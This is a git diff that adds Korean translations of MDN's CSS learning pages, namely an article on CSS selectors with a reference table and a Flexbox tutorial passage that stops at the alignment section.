+ <li><a href="/ko/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">서로 다른 텍스트 방향 처리</a></li>
+ <li><a href="/ko/docs/Learn/CSS/Building_blocks/Overflowing_content">대열이탈 콘텐츠</a></li>
+ <li><a href="/ko/docs/Learn/CSS/Building_blocks/Values_and_units">속성값과 단위</a></li>
+ <li><a href="/ko/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">씨에스에스 항목 크기 설정</a></li>
+ <li><a href="/ko/docs/Learn/CSS/Building_blocks/Images_media_form_elements">이미지와 미디아, 양식 요소</a></li>
+ <li><a href="/ko/docs/Learn/CSS/Building_blocks/Styling_tables">테이블 스타일링</a></li>
+ <li><a href="/ko/docs/Learn/CSS/Building_blocks/Debugging_CSS">씨에스에스 디버깅</a></li>
+ <li><a href="/ko/docs/Learn/CSS/Building_blocks/Organizing">씨에스에스 체계화</a></li>
+</ol>
diff --git a/files/ko/learn/css/building_blocks/선택자/index.html b/files/ko/learn/css/building_blocks/선택자/index.html
new file mode 100644
index 0000000000..7674063921
--- /dev/null
+++ b/files/ko/learn/css/building_blocks/선택자/index.html
@@ -0,0 +1,223 @@
+---
+title: CSS 선택자
+slug: Learn/CSS/Building_blocks/선택자
+translation_of: Learn/CSS/Building_blocks/Selectors
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}</div>
+
+<p class="summary">{{Glossary("CSS")}} 에서, 선택자는 스타일을 지정할 웹 페이지의 {{glossary("HTML")}} 요소를 대상으로 하는 데 사용됩니다. 사용 가능한 다양한 CSS 선택자가 있으며, 스타일을 지정할 요소를 선택할 때 세밀한 정밀도를 허용합니다. 이 기사와 하위 기사에서는 다양한 유형을 자세히 살펴보고 작동 방식을 살펴보겠습니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제조건:</th>
+   <td>기본 컴퓨터 활용 능력, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a>, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 작업</a> 에 대한 기본 지식, HTML 기본 사항 (<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 학습) 및 CSS 작동 방식에 대한 이해 (<a href="/en-US/docs/Learn/CSS/First_steps">CSS 첫 단계</a> 학습)</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>CSS 선태자 작동 방식에 대해 자세히 알아보기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="선택자란_무엇인가">선택자란 무엇인가?</h2>
+
+<p>이미 선택자 (selector) 를 만났습니다. CSS 선택자는 CSS 규칙의 첫 부분입니다. 규칙 내의 CSS 속성값을 적용하기 위해 어떤 HTML 요소를 선택해야 하는지 브라우저에 알려주는 요소 및 기타 용어의 패턴입니다. 선택자에 의해 선택된 요소들은 <em><strong>선택자의 주제(subject)</strong> </em>로 지칭됩니다.</p>
+
+<p><img alt="Some code with the h1 highlighted." src="https://mdn.mozillademos.org/files/16550/selector.png" style="border: 1px solid #cccccc; height: 218px; width: 471px;"></p>
+
+<p>이전 기사에서는 몇 가지 다른 선택자를 만났으며 — 예를 들어 <code>h1</code> 과 같은 요소 또는 <code>.special</code> 과 같은 class 를 선택하는 등 다양한 방법으로 문서를 대상으로 하는 선택자가 있다는 것을 배웠습니다.</p>
+
+<p>CSS 에서, 선택자는 CSS 선택자 사양에 정의되어 있습니다. CSS 의 다른 부분과 마찬가지로 작동하려면, 브라우저에서 지원해야합니다. 당신이 보게 될 대부분의 선택자는 <a href="https://www.w3.org/TR/selectors-3/">Level 3 선택자 사양</a> 에 정의되어 있으므로, 이러한 선택자에 대한 훌륭한 브라우저 지원을 찾을 수 있습니다.</p>
+
+<h2 id="선택자_목록">선택자 목록</h2>
+
+<p>동일한 CSS 를 사용하는 항목이 두 개 이상인 경우 규칙이 모든 개별 선택자에 적용되도록 개별 선택자를 <em><strong>선택자 목록</strong> </em>으로 결합할 수 있습니다. 예를 들어, <code>h1</code> 에 대해 동일한 CSS 와 <code>special</code> class 를 사용하면 이것을 두 개의 별도 규칙으로 작성할 수 있습니다.</p>
+
+<pre class="brush: css"><code>h1 {
+  color: blue;
+}
+
+.special {
+  color: blue;
+} </code></pre>
+
+<p>또한 이들 사이에 쉼표를 추가하여 선택자 목록으로 결합할 수도 있습니다.</p>
+
+<pre class="brush: css"><code>h1, .special {
+  color: blue;
+} </code></pre>
+
+<p>공백은 쉼표 앞뒤에 유효합니다. 각 라인이 새 라인에 있으면 선택자를 더 읽기 쉽습니다.</p>
+
+<pre class="brush: css"><code>h1,
+.special {
+  color: blue;
+} </code></pre>
+
+<p>아래 라이브 예제에서 동일한 선언을 가진 두 선택자를 결합 하십시오. 시각적 디스플레이는 결합 후 동일해야 합니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/selector-list.html", '100%', 1000)}} </p>
+
+<p>이러한 방식으로 선택자를 그룹화할 때, 선택자가 유효하지 않은 경우 전체 규칙이 무시됩니다.</p>
+
+<p>다음 예에서는, 잘못된 class 선택자 규칙이 무시되고 <code>h1</code> 은 여전히 스타일이 지정됩니다.</p>
+
+<pre class="brush: css"><code>h1 {
+  color: blue;
+}
+
+..special {
+  color: blue;
+} </code></pre>
+
+<p>그러나 결합하면, 전체 규칙이 유효하지 않은 것으로 간주되어 <code>h1</code> 또는 class 가 스타일 지정되지 않습니다.</p>
+
+<pre class="brush: css"><code>h1, ..special {
+  color: blue;
+} </code></pre>
+
+<h2 id="선택자의_유형">선택자의 유형</h2>
+
+<p>선택자에는 몇 가지 그룹이 있으며, 어떤 유형의 선택자가 필요한지 알면 작업에 적합한 도구를 찾는데 도움이 됩니다. 이 기사의 하위 기사에서는 다양한 선택자 그룹을 자세히 살펴 보겠습니다.</p>
+
+<h3 id="Type_class_및_ID_선택자">Type, class 및 ID 선택자</h3>
+
+<p>이 그룹에는 <code>&lt;h1&gt;</code> 과 같은 HTML 요소를 대상으로 하는 선택자가 포함됩니다.</p>
+
+<pre class="brush: css">h1 { }</pre>
+
+<p>또한 class 를 대상으로 하는 선택자가 포함됩니다:</p>
+
+<pre class="brush: css">.box { }</pre>
+
+<p>또는 ID:</p>
+
+<pre class="brush: css">#unique { }</pre>
+
+<h3 id="속성_선택자">속성 선택자</h3>
+
+<p>이 선택자 그룹은 요소에 특정 속성이 있는지에 따라 요소를  선택하는 다른 방법을 제공합니다:</p>
+
+<pre class="brush: css">a[title] { }</pre>
+
+<p>또는 특정 값을 가진 속성의 존재 여부를 기반으로 선택하십시오:</p>
+
+<pre class="brush: css">a[href="https://example.com"] { }</pre>
+
+<h3 id="Pseudo-classes_및_pseudo-elements">Pseudo-classes 및 pseudo-elements</h3>
+
+<p>이 선택자 그룹에는 요소의 특정 상태를 스타일링하는 pseudo-classes 가 포함됩니다. 예를 들어 <code>:hover</code> pseudo-class 는 마우스 포인터에 의해 요소를 가리킬 때만 요소를 선택합니다:</p>
+
+<pre class="brush: css">a:hover { }</pre>
+
+<p>또한 요소 자체가 아닌 요소의 특정 부분을 선택하는 pseudo-elements 도 포함됩니다. 예를 들어, <code>::first-line</code> 은 항상 <code>&lt;span&gt;</code> 이 첫 번째 형식의 라인을 감싸는 것처럼 작동하여, 요소 내부의 첫 번째 텍스트 라인 (아래의 경우 <code>&lt;p&gt;</code>) 을 선택합니다.</p>
+
+<pre class="brush: css">p::first-line { }</pre>
+
+<h3 id="결합자_Combinators">결합자 (Combinators)</h3>
+
+<p>최종 선택자 그룹은 문서 내의 요소를 대상으로 하기 위해 다른 선택자를 결합합니다. 예를 들어 다음은 자식 결합자 (<code>&gt;</code>) 를 사용하여 <code>&lt;article&gt;</code> 요소의 자식인 단락을 선택합니다:</p>
+
+<pre class="brush: css">article &gt; p { }</pre>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<p>이 학습 섹션 또는 일반적으로 MDN 에서 다양한 유형의 선택자로 직접 연결되는 링크에 대해서는 아래의 선택자 참조 표를 참고하거나 <a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">type, class 및 ID 선택자</a> 에 대해 계속해서 여행을 시작하십시오.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="선택자_참조_표">선택자 참조 표</h2>
+
+<p>아래 표는 사용 가능한 선택자의 개요와 이 안내서의 페이지에 대한 링크와 함께 각 유형의 선택자 사용법을 보여줍니다. 브라우저 지원 정보를 확인할 수 있는 각 선택자의 MDN 페이지에 대한 링크도 포함되어 있습니다. 이 자료를 나중에 자료에서 선택자를 찾아 보거나, CSS 를 일반적으로 실험할 때 다시 참조할 수 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">선택자</th>
+   <th scope="col">예제</th>
+   <th scope="col">CSS 자습서 배우기</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Type_selectors">Type 선택자</a></td>
+   <td><code>h1 {  }</code></td>
+   <td><a href="/en-US/docs/user:chrisdavidmills/CSS_Learn/CSS_Selectors/Type_Class_and_ID_Selectors#Type_selectors">Type selectors</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Universal_selectors">범용 선택자</a></td>
+   <td><code>* {  }</code></td>
+   <td><a href="/en-US/docs/user:chrisdavidmills/CSS_Learn/CSS_Selectors/Type_Class_and_ID_Selectors#The_universal_selector">The universal selector</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Class_selectors">Class 선택자</a></td>
+   <td><code>.box {  }</code></td>
+   <td><a href="https://developer.mozilla.org/en-US/docs/user:chrisdavidmills/CSS_Learn/CSS_Selectors/Type_Class_and_ID_Selectors#Class_selectors">Class selectors</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/ID_selectors">id 선택자</a></td>
+   <td><code>#unique { }</code></td>
+   <td><a href="https://developer.mozilla.org/en-US/docs/user:chrisdavidmills/CSS_Learn/CSS_Selectors/Type_Class_and_ID_Selectors#ID_Selectors">ID selectors</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Attribute_selectors">속성 선택자</a></td>
+   <td><code>a[title] {  }</code></td>
+   <td><a href="https://developer.mozilla.org/en-US/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Attribute_selectors">Attribute selectors</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Pseudo-classes">Pseudo-class 선택자</a></td>
+   <td><code>p:first-child { }</code></td>
+   <td><a href="https://developer.mozilla.org/en-US/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Pseuso-classes_and_Pseudo-elements#What_is_a_pseudo-class">Pseudo-classes</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Pseudo-elements">Pseudo-element 선택자</a></td>
+   <td><code>p::first-line { }</code></td>
+   <td><a href="https://developer.mozilla.org/en-US/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Pseuso-classes_and_Pseudo-elements#What_is_a_pseudo-element">Pseudo-elements</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Descendant_combinator">하위 결합자</a></td>
+   <td><code>article p</code></td>
+   <td><a href="https://developer.mozilla.org/en-US/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Combinators#Descendant_Selector">Descendant combinator</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Child_combinator">자식 결합자</a></td>
+   <td><code>article &gt; p</code></td>
+   <td><a href="https://developer.mozilla.org/en-US/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Combinators#Child_combinator">Child combinator</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Adjacent_sibling_combinator">인접 형제 결합자</a></td>
+   <td><code>h1 + p</code></td>
+   <td><a href="https://developer.mozilla.org/en-US/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Combinators#Adjacent_sibling">Adjacent sibling</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/General_sibling_combinator">일반 형제 결합자</a></td>
+   <td><code>h1 ~ p</code></td>
+   <td><a href="https://developer.mozilla.org/en-US/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Combinators#General_sibling">General sibling</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="이번_강의에서는">이번 강의에서는</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">계단식 및 상속</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">CSS 선택자</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Type, class 및 ID 선택자</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">속성 선택자</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes 및 pseudo-elements</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">결합자</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">박스 모델</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">배경 및 테두리</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">다른 텍스트 방향 처리</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">콘텐츠 overflow</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">값과 단위</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS 에서 항목 크기 조정</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">이미지, 미디어 및 양식 요소</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">표 스타일링</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS 디버깅</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">CSS 정리</a></li>
+</ol>
diff --git a/files/ko/learn/css/css_layout/flexbox/index.html b/files/ko/learn/css/css_layout/flexbox/index.html
new file mode 100644
index 0000000000..72f5d57cf8
--- /dev/null
+++ b/files/ko/learn/css/css_layout/flexbox/index.html
@@ -0,0 +1,340 @@
+---
+title: Flexbox
+slug: Learn/CSS/CSS_layout/Flexbox
+tags:
+  - 문서
+  - 안내서
+  - 용어집
+  - 초보자
+  - 코딩스크립팅
+  - 학습
+translation_of: Learn/CSS/CSS_layout/Flexbox
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}</div>
+
+<p class="summary">flexbox는 행과 열 형태로 항목 무리를 배치하는 일차원 레이아웃 메서드입니다. 항목은 부족한 공간에 맞추기 위해 축소되거나 여분의 공간을 채우기 위해 변형된다. 이 문서는 근간이 되는 내용 전체를 설명합니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선결 사항:</th>
+   <td>HTML의 기초 (<a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML 입문서</a>)와 CSS 작동 방식에 대한 개념(<a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS 입문서</a>를 공부하세요.)</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>웹 레이아웃을 생성하기 위해 flexbox 레이아웃 시스템을 사용하는 방법을 학습하기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="왜_flexbox인가">왜 flexbox인가?</h2>
+
+<p>오랫동안 CSS 레이아웃을 작성할 수 있는 신뢰할 수 있는 크로스 브라우저 호환 도구는 <a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">부동체</a> 및 <a href="/en-US/docs/Learn/CSS/CSS_layout/위치잡기">위치잡기</a> 도구였습니다. 이것들은 무난하고 작동하지만, 어떤 면에서는 되려 제한적이고 좌절감을 맞보게 합니다.</p>
+
+<p>다음과 같은 간단한 레이아웃 요구 사항은 그러한 도구를 사용하여 달성하기가 어렵거나 불가능합니다. 또한, 편리하지도 유연한 방식도 못됩니다.</p>
+
+<ul>
+ <li>부모 요소 내부에 포함된 블록 콘텐츠를 세로로 중심부에 맞추기.</li>
+ <li>사용 가능한 너비와 높이에 관계없이 하나의 컨테이너에 포함된 모든 자녀 요소가 주어진 너비와 높이를 똑같은 크기로 점유하기.</li>
+ <li>다단 레이아웃에 포함된 모든 단이 서로 다른 크기의 콘텐츠를 포함하고 있더라도 동일한 높이로 채택하기.</li>
+</ul>
+
+<p>다음 섹션에서 확인하겠지만, flexbox는 많은 레이아웃 작업을 훨씬 쉽게 만들어 줍니다. 본격적으로 파헤쳐봅시다!</p>
+
+<h2 id="간단한_예제_소개">간단한 예제 소개</h2>
+
+<p>이 문서에서 우리는 여러분이 flexbox의 작동 방식을 이해하는데 도움이 되는 일련의 연습을 수행하도록 하겠습니다. 시작하려면, 첫 번째 착수 파일인 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox0.html">flexbox0.html</a>을 우리의 깃허브 저장소에서 사본을 내려받기하여 최신 브라우저(Firefox 또는 Chrome 등)에서 동 파일을 열어 코드 편집기에서 코드를 살펴봐야 합니다. 당신은 그걸 시연한 실제 장면을 <a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox0.html">여기서도</a> 볼 수 있습니다.</p>
+
+<p>(편집기로 본) 소스안에 최상위 수준에 {{htmlelement("header")}} 요소와 세 개의 {{htmlelement("article")}}를 포함한 {{htmlelement("section")}} 요소가 있음을 알 수 있습니다. 우리는 이것들을 사용해 상당히 표준적인 삼단 레이아웃을 생성할 겁니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13406/flexbox-example1.png" style="border-style: solid; border-width: 1px; display: block; height: 324px; margin: 0px auto; width: 800px;"></p>
+
+<h2 id="flexbox로_레이아웃할_요소_지정">flexbox로 레이아웃할 요소 지정</h2>
+
+<p>먼저 어떤 요소들을 flexbox로 레이아웃할 요소를 선택해야 합니다. 이를 위해 영향을 주고 싶은 요소의 부모 요소에 특별한 {{cssxref("display")}} 속성값을 지정합니다. 이 경우 우리는 {{htmlelement("article")}} 요소를 레이아웃하길 원하므로 (flex container가 될) {{htmlelement("section")}}에 해당 속성값을 지정합니다:</p>
+
+<pre class="brush: css">section {
+  display: flex;
+}</pre>
+
+<p>그 결과는 다음과 같아야 합니다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13408/flexbox-example2.png" style="border-style: solid; border-width: 1px; display: block; height: 348px; margin: 0px auto; width: 800px;"></p>
+
+<p>자. 이 단일 선언이 우리에게 필요한 모든 것을 제공합니다. 놀랍죠, 그쵸? 우리는 단의 크기가 동일한 다단 레이아웃를 갖게 되었고, 단의 높이가 모두 같습니다. 이렇게 된 까닭은 (flex container의 자식인) flex item에 주어진 기본값이 이와 같은 일반적인 문제를 해결하도록 설정되었기 때문입니다. 관련 내용은 나중에 추가합니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 인라인 항목을 flexbox로 취급해 레이아웃하길 희망한다면 {{cssxref("display")}} 속성값을 <code>inline-flex</code>로 지정할 수도 있습니다.</p>
+</div>
+
+<h2 id="flex_모델의_측방">flex 모델의 측방</h2>
+
+<p>요소들을 flexbox로 레이아웃될 때 그 상자들은 두 개의 축을 따라 배치됩니다.</p>
+
+<p><img alt="flex_terms.png" class="default internal" src="/files/3739/flex_terms.png" style="display: block; margin: 0px auto;"></p>
+
+<ul>
+ <li><ruby><strong>기본 축</strong><rp> (</rp><rt>main axis</rt><rp>) </rp></ruby>은 flex item이 배치되고 있는 방향으로 진행하는 축입니다(예: 페이지를 가로지르는 행 또는 페이지 밑으로 쌓이는 열). 이 기본 축의 시작과 끝을 일컬어 <strong>main start</strong>과 <strong>main end</strong>라고 합니다.</li>
+ <li><ruby><strong>교차축</strong><rp> (</rp><rt>cross axis</rt><rp>) </rp></ruby>은 flex item이 내부에 배치되는 방향에 직각을 이루는 축입니다. 이 축의 시작과 끝을 일컬어 <strong>cross start</strong>과 <strong>cross end</strong>라고 합니다.</li>
+ <li><code>display: flex</code>이 설정된 부모 요소(우리 예제에서 {{htmlelement("section")}}이 해당)를 일컬어 <ruby><strong>flex container</strong><rp> (</rp><rt>flex container</rt><rp>) </rp></ruby>라고 합니다.</li>
+ <li>flex container 내부에 flexbox로 레이아웃되는 항목을 일컬어 <ruby><strong>flex item</strong><rp> (</rp><rt>flex items</rt><rp>) </rp></ruby>이라고 합니다(우리 예제에서 {{htmlelement("article")}} 요소가 해당됩니다).</li>
+</ul>
+
+<p>후속 절을 진행할 때 이러한 용어를 명심하길 바랍니다. 사용 중인 어떤 용어에 대해 혼란스러워지면 언제든지 다시 참조할 수 있습니다.</p>
+
+<h2 id="행_또는_열">행 또는 열?</h2>
+
+<p>flexbox는 기본 축이 진행되는 방향(자식 flexbox들이 컨테이너 내부에 배치되는 방향)을 지정하는 {{cssxref("flex-direction")}} 속성을 제공합니다. 기본값으로 이것은 <code>row</code>로 설정되어 브라우저의 기본 언어가 작동하는 방향(영어 브라우저의 경우 왼쪽에서 오른쪽)을 따라 일렬로 배치됩니다.</p>
+
+<p>다음 선언문을 {{htmlelement("section")}} 규칙에 추가하세요:</p>
+
+<pre class="brush: css">flex-direction: column;</pre>
+
+<p>이로써 항목 무리를 열 레이아웃으로 되돌려 놓는걸 확인하게 된다. 해당 항목들은 어떤 내용의 CSS를 추가하기 이전 상황과 유사하다. 진도를 더 나가기 전에 동 선언문을 예제에서 삭제하십시오.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 당신은 <code>row-reverse</code>와 <code>column-reverse</code> 속성값을 사용하여 역방향으로 배치할 수 있습니다. 이들 값으로도 실험해보십시요!</p>
+</div>
+
+<h2 id="접기">접기</h2>
+
+<p>당신의 레이아웃에 너비 또는 높이가 고정 크기를 갖고 있어 생기는 한 가지 문제는 결국 flexbox 자식 요소가 컨테이너에서 대열이탈하면서 레이아웃이 깨진다는 것입니다. 우리가 제시하는 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox-wrap0.html">flexbox-wrap0.html</a> 예제를 확인하고 난 뒤 <a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox-wrap0.html">라이브 보기</a>를 시도하세요(이 예제를 따라해보고 싶다면 이제 이 파일의 사본을 내려받으세요):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13410/flexbox-example3.png" style="display: block; height: 646px; margin: 0px auto; width: 800px;"></p>
+
+<p>여기서 우리는 자식들이 정말로 소속 컨테이너에서 이탈하는 모습을 확인할 수 있습니다. 이것을 해소할 수 있는 한 가지 방법은 다음 선언을 {{htmlelement("section")}} 규칙 부분에 추가하면 됩니다:</p>
+
+<pre class="brush: css">flex-wrap: wrap;</pre>
+
+<p>또한, 디음 선언문을 {{htmlelement("article")}} 규칙 부분에 추가해보세요:</p>
+
+<pre class="brush: css">flex: 200px;</pre>
+
+<p>지금 시도해보십시오. 동 규칙이 포함된 상태에선 레이아웃 모양이 개선되는 걸 보게 됩겁니다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13412/flexbox-example4.png" style="display: block; height: 646px; margin: 0px auto; width: 800px;">우리는 이제 여러 행을 갖게 되었다. 많은 flexbox 자녀들이 합당하다 싶게 각 행마다 (분배되어) 알맞게 맞춰졌습니다. 대열이탈된 것들은 다음 행으로 넘어갑니다. 아티클 요소에 <code>flex: 200px</code> 선언이 지정되었다는 의미는 각 요소에 적어도 200px 너비가 지정되었다는 의미이다. 우리는 나중에 이 속성에 대해 더 자세히 논의할 겁니다. 마지막 행에 있는 마지막 몇몇 자식들의 각 너비가 더 연장되면서 전체 행이 마찬가지로 채워진 것을 볼 수 있습니다.</p>
+
+<p>하지만 할 수 있는 게 더 있습니다. 우선, {{cssxref("flex-direction")}} 속성값을 <code>row-reverse</code>로 변경해 보십시오. 이제 여러 행 레이아웃을 보유한 것은 마찬가지지만, 브라우저 창의 반대쪽 구석에서 시작하여 역방향 대열이 된 것이 확인될 겁니다.</p>
+
+<h2 id="flex-flow_약칭">flex-flow 약칭</h2>
+
+<p>이 시점에서 {{cssxref("flex-direction")}}와 {{cssxref("flex-wrap")}} — {{cssxref("flex-flow")}}를 대신하는 약칭이 존재한다는 점을 언급할 가치가 있다. 예를 들어, 여러분은 다음을</p>
+
+<pre class="brush: css">flex-direction: row;
+flex-wrap: wrap;</pre>
+
+<p>다음으로 대체할 수 있다.</p>
+
+<pre class="brush: css">flex-flow: row wrap;</pre>
+
+<h2 id="flex_item의_flex_크기_조정">flex item의 flex 크기 조정</h2>
+
+<p>이제 첫 번째 예제로 복귀해서, 우리가 어떻게 flex item의 비율을 조절할 수 있는지 살펴봅시다. <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox0.html">flexbox0.html</a>사본을 브라우저 탭으로 열거나 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox1.html">flexbox1.html</a> 사본을 새로운 출발점으로 삼으세요.(<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox1.html">라이브 참조</a>).</p>
+
+<p>첫째, 당신의 CSS 파일 하단에 다음 규칙을 추가하십시오:</p>
+
+<pre class="brush: css">article {
+  flex: 1;
+}</pre>
+
+<p>이것은 각 flex item이 기본 축을 따라 남은 공간을 어느 정도나 점유할지를 결정하는 단위가 없는 비율 값입니다. 이 경우, 우리는 각각의 {{htmlelement("article")}} 요소에 1의 값을 부여하고 있는데, 이는 패딩과 여백이 지정된 이후 남은 여분의 공간을 모두 동등한 크기로 점유하게 된다는 의미입니다. 그것은 비율이며, 각 flex item에 400000의 값을 부여하면 정확히 동일한 효과가 있음을 의미합니다.</p>
+
+<p>이제 이전 규칙 아래에 다음 규칙을 추가합시다.</p>
+
+<pre class="brush: css">article:nth-of-type(3) {
+  flex: 2;
+}</pre>
+
+<p>이제 새로 고침할 때, 세 번째 {{htmlelement("article")}}이 다른 두 개보다 사용 가능한 너비의 두 배나 많이 점유한다는 것을 알 수 있습니다. 말하자면 현재 총 4개의 비례 단위가 있는 겁니다. 처음 두 개의 flex item은 각각 하나로 구분되어 사용 가능한 공간의 1/4을 차지합니다. 세 번째 것은 두 개의 단위(2배율)를 차지하기 때문에 사용 가능한 공간의 2/4를 점유합니다(또는 1/2).</p>
+
+<p>또한 flex 값 내에서 최소 크기 값을 지정할 수 있습니다. 다음과 같이 문서 부분의 기존 규칙을 업데이트해 보십시오.</p>
+
+<pre class="brush: css">article {
+  flex: 1 200px;
+}
+
+article:nth-of-type(3) {
+  flex: 2 200px;
+}</pre>
+
+<p>이것은 기본적으로 "각 flex item은 먼저 사용 가능한 공간에서 200px를 부여받습니다. 그 후, 나머지 사용 가능한 공간은 비례 단위에 따라 분배됩니다." 새로 고침을 해보면 공간 배분 방식이 달라진 것이 확인될 겁니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13406/flexbox-example1.png" style="border-style: solid; border-width: 1px; display: block; height: 324px; margin: 0px auto; width: 800px;"></p>
+
+<p>flexbox의 실제 값은 flex성/반응성에 포함되어 있다고 볼 수 있습니다. 다시말해 브라우저 창의 크기를 재조정하거나 다른 {{htmlelement("article")}} 요소를 추가하더라도 레이아웃이 계속 정상적으로 작동합니다.</p>
+
+<h2 id="flex_약칭_對_정식_명칭">flex: 약칭 對 정식 명칭</h2>
+
+<p>{{cssxref("flex")}} 최대 세 가지 서로 다른 값을 지정할 수 있는 약칭 속성입니다.</p>
+
+<ul>
+ <li>단위없는 비례 값은 우리가 위에서 논의한 바 있습니다. 단위없는 비례 값은 {{cssxref("flex-grow")}}라는 정식 명칭 속성을 사용하여 개별적으로 지정할 수 있습니다.</li>
+ <li>두 번째 단위없는 비례 값인 {{cssxref("flex-shrink")}}는 flex item이 컨테이너에서 넘칠때(대열이탈) 존재를 드러냅니다. 이 값은 컨테이너 대열이탈을 방지하기 위해 넘치는 양을 각 flex item의 크기에서 어느 정도나 뺏어올지를 지정합니다. 이 값은 꽤 고수준의 flexbox 기능이며, 우리는 이 문서에서는 추가 내용을 다루지 않겠습니다.</li>
+ <li>위에서 논의했던 최소 크기 값입니다. 최소 크기 값은 {{cssxref("flex-basis")}}라는 정식 명칭 값을 사용하여 개별적으로 지정될 수 있습니다.</li>
+</ul>
+
+<p>우리는 꼭 사용해야 할 경우가 아니라면(예를 들어, 이전 설정을 재정의하는 등) flex 속성에 정식 명칭을 사용하지 말라고 권고합니다. 정식 명칭의 사용은 추가 코드 작성이 많아 질뿐만 아니라 다소 혼란스러울 수도 있습니다.</p>
+
+<h2 id="수평_및_수직_정렬">수평 및 수직 정렬</h2>
+
